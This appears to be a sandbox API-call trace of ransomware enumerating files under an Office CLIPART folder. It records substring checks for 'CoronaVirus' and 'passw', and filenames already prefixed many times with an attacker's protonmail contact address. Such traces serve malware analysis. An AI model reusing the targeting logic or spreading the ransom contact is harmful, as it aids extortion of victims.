	[0095.135] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", _SubStr="passw") returned 0x0
	[0095.135] SetThreadPriority (hThread=0xc28, nPriority=15) returned 1
	[0095.140] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x21a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", cAlternateFileName="CO7AE2~1.GIF")) returned 1
	[0095.143] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.143] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.143] malloc (_Size=0x1000) returned 0x51f0070
	[0095.143] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 242
	[0095.143] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.143] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="wasse") returned 0x0
	[0095.143] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", _SubStr="passw") returned 0x0
	[0095.144] SetThreadPriority (hThread=0xc2c, nPriority=15) returned 1
	[0095.146] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1341, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", cAlternateFileName="CO7CA5~1.GIF")) returned 1
	[0095.148] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.148] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.150] malloc (_Size=0x1000) returned 0x51f4090
	[0095.150] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 242
	[0095.151] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.151] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="wasse") returned 0x0
	[0095.151] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", _SubStr="passw") returned 0x0
	[0095.151] SetThreadPriority (hThread=0xc30, nPriority=15) returned 1
	[0095.156] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1521, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", cAlternateFileName="COE2A1~1.GIF")) returned 1
	[0095.156] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.156] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.156] malloc (_Size=0x1000) returned 0x51f1078
	[0095.158] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 242
	[0095.158] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.158] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="wasse") returned 0x0
	[0095.159] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", _SubStr="passw") returned 0x0
	[0095.160] SetThreadPriority (hThread=0xc34, nPriority=15) returned 1
	[0095.166] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", cAlternateFileName="CO9386~1.GIF")) returned 1
	[0095.166] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.166] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.166] malloc (_Size=0x1000) returned 0x51f3088
	[0095.166] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 242
	[0095.166] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.166] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="wasse") returned 0x0
	[0095.166] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", _SubStr="passw") returned 0x0
	[0095.167] SetThreadPriority (hThread=0xc38, nPriority=15) returned 1
	[0095.172] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x13c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", cAlternateFileName="CO9E2E~1.GIF")) returned 1
	[0095.174] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.174] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.174] malloc (_Size=0x1000) returned 0x51f4090
	[0095.174] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 242
	[0095.174] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.174] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="wasse") returned 0x0
	[0095.174] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", _SubStr="passw") returned 0x0
	[0095.175] SetThreadPriority (hThread=0xc3c, nPriority=15) returned 1
	[0095.176] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", cAlternateFileName="CO95E0~1.GIF")) returned 1
	[0095.176] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.178] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.178] malloc (_Size=0x1000) returned 0x51f60a0
	[0095.179] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 242
	[0095.180] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.180] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="wasse") returned 0x0
	[0095.180] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", _SubStr="passw") returned 0x0
	[0095.181] SetThreadPriority (hThread=0xc40, nPriority=15) returned 1
	[0095.185] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xfa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", cAlternateFileName="COBE48~1.GIF")) returned 1
	[0095.185] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.186] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.187] malloc (_Size=0x1000) returned 0x51f0070
	[0095.187] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 242
	[0095.187] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.187] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="wasse") returned 0x0
	[0095.187] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", _SubStr="passw") returned 0x0
	[0095.188] SetThreadPriority (hThread=0xc44, nPriority=15) returned 1
	[0095.190] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf02299b4, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0xd41, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", cAlternateFileName="CO62CA~1.GIF")) returned 1
	[0095.193] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.193] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.194] malloc (_Size=0x1000) returned 0x51f5098
	[0095.194] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 242
	[0095.194] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.194] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="wasse") returned 0x0
	[0095.194] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="passw") returned 0x0
	[0095.194] SetThreadPriority (hThread=0xc48, nPriority=15) returned 1
	[0095.247] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", cAlternateFileName="CO3840~1.GIF")) returned 1
	[0095.247] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.247] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.247] malloc (_Size=0x1000) returned 0x51f1078
	[0095.247] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 242
	[0095.247] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.247] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="wasse") returned 0x0
	[0095.247] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="passw") returned 0x0
	[0095.248] SetThreadPriority (hThread=0xc4c, nPriority=15) returned 1
	[0095.250] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf043fb32, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x34e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", cAlternateFileName="CO45D8~1.GIF")) returned 1
	[0095.250] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.251] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.254] malloc (_Size=0x1000) returned 0x51f0070
	[0095.254] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 242
	[0095.254] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.254] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="wasse") returned 0x0
	[0095.254] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="passw") returned 0x0
	[0095.254] SetThreadPriority (hThread=0xc50, nPriority=15) returned 1
	[0095.258] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf043fb32, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x4ef1, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", cAlternateFileName="CO4343~1.GIF")) returned 1
	[0095.258] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
	[0095.261] wcsncmp (_String1="co", _String2="..", _MaxCount=0x2) returned 53
	[0095.264] malloc (_Size=0x1000) returned 0x51f5098
	[0095.264] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 242
	[0095.264] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="CoronaVirus") returned 0x0
	[0095.264] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="wasse") returned 0x0
	[0095.264] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="passw") returned 0x0
	[0095.264] SetThreadPriority (hThread=0xc54, nPriority=15) returned 1
	[0095.266] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf043fb32, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x5001, dwReserved0=0x0, dwReserved1=0x0, cFileName="coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", cAlternateFileName="CO7649~1.GIF")) returned 1
	[0095.271] wcsncmp (_String1="c", _String2=".", _MaxCount=0x1) returned 53
